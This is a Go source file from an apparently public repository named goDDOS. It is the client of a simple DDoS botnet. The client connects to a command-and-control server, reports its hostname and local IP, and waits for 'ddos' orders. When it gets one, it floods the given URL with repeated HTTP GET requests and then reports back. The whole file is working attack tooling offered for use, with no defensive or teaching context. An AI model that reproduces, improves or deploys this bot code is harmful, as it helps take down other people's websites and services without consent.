arnaucube
arnaucube/goDDOSPublic Self-hosted repository
goDDOS/v1/client/main.go
v1/client/main.goRaw
  1package main
  2
  3import (
  4	"bufio"
  5	"fmt"
  6	"net"
  7	"net/http"
  8	"os"
  9	"strconv"
 10	"strings"
 11	"time"
 12)
 13
 14const (
 15	CONN_HOST = "localhost"
 16	CONN_PORT = "3333"
 17	CONN_TYPE = "tcp"
 18	sleeptime = 3000
 19)
 20
 21func stablishConn() (conn net.Conn, err error) {
 22	// connect to this socket
 23	conn, err = net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
 24	return conn, err
 25}
 26func tryToConnect() (conn net.Conn, err error) {
 27	fmt.Println("trying to connect to the server")
 28	connected := false
 29	conn, err = stablishConn()
 30	for connected == false {
 31		conn, err = stablishConn()
 32		if err != nil {
 33			fmt.Println(err)
 34			fmt.Println("server not connected, sleep for " + strconv.Itoa(sleeptime) + " to try again")
 35			time.Sleep(sleeptime * time.Millisecond)
 36			//os.Exit(1)
 37		} else {
 38			connected = true
 39		}
 40	}
 41	return conn, err
 42}
 43func main() {
 44	conn, err := tryToConnect()
 45	hostname, err := os.Hostname()
 46	if err != nil {
 47		fmt.Println(err)
 48		os.Exit(1)
 49	}
 50	fmt.Println("connecting to server as hostname:", hostname)
 51	ip := getIp()
 52	fmt.Println("local ip:", ip)
 53	// send to socket
 54	fmt.Fprintf(conn, "[client connecting] - [date]: "+time.Now().Local().Format(time.UnixDate)+" - [hostname]: "+hostname+", [ip]: "+ip.String()+"\n")
 55	for {
 56		command, err := bufio.NewReader(conn).ReadString('\n')
 57		if err != nil {
 58			fmt.Println(err)
 59			fmt.Println("server disconnected")
 60			//os.Exit(1)
 61			conn, err = tryToConnect()
 62		}
 63		fmt.Println("Command from server: " + command)
 64		//fmt.Println(len(strings.Split(command, " ")))
 65
 66		comm := strings.Split(command, " ")[0]
 67		switch comm {
 68		case "ddos":
 69			fmt.Println("url case, checking parameters")
 70			if len(strings.Split(command, " ")) < 3 {
 71				fmt.Println("not enought parameters")
 72				break
 73			}
 74			fmt.Println("url case")
 75			go ddos(command, conn, hostname)
 76		default:
 77			fmt.Println("default case, no specified command")
 78			fmt.Println("")
 79			fmt.Println("-- waiting for new orders --")
 80		}
 81
 82	}
 83
 84}
 85
 86func ddos(command string, conn net.Conn, hostname string) {
 87	url := strings.Split(command, " ")[1]
 88	url = strings.TrimSpace(url)
 89
 90	iterations := strings.Split(command, " ")[2]
 91	iterations = strings.TrimSpace(iterations)
 92	iter, err := strconv.Atoi(iterations)
 93	if err != nil {
 94		fmt.Println(err)
 95	}
 96	fmt.Println("url to ddos: " + url)
 97	for i := 0; i < iter; i++ {
 98		fmt.Println(i)
 99		resp, err := http.Get(url)
100		if err != nil {
101			fmt.Println(err)
102		}
103		fmt.Println(resp)
104	}
105	msg := "[hostname]: " + hostname + ", [msg]: iterations done, ddos ended" + "[date]: " + time.Now().Local().Format(time.UnixDate)
106	fmt.Println(msg)
107	fmt.Fprintf(conn, msg+"\n")
108	fmt.Println("")
109	fmt.Println("-- waiting for new orders --")
110}
111
112func getIp() net.IP {
113	var ip net.IP
114	ifaces, err := net.Interfaces()
115	if err != nil {
116		fmt.Println(err)
117	}
118	for _, i := range ifaces {
119		addrs, err := i.Addrs()
120		if err != nil {
121			fmt.Println(err)
122		}
123		for _, addr := range addrs {
124			switch v := addr.(type) {
125			case *net.IPNet:
126				ip = v.IP
127			case *net.IPAddr:
128				ip = v.IP
129			}
130		}
131	}
132	return ip
133}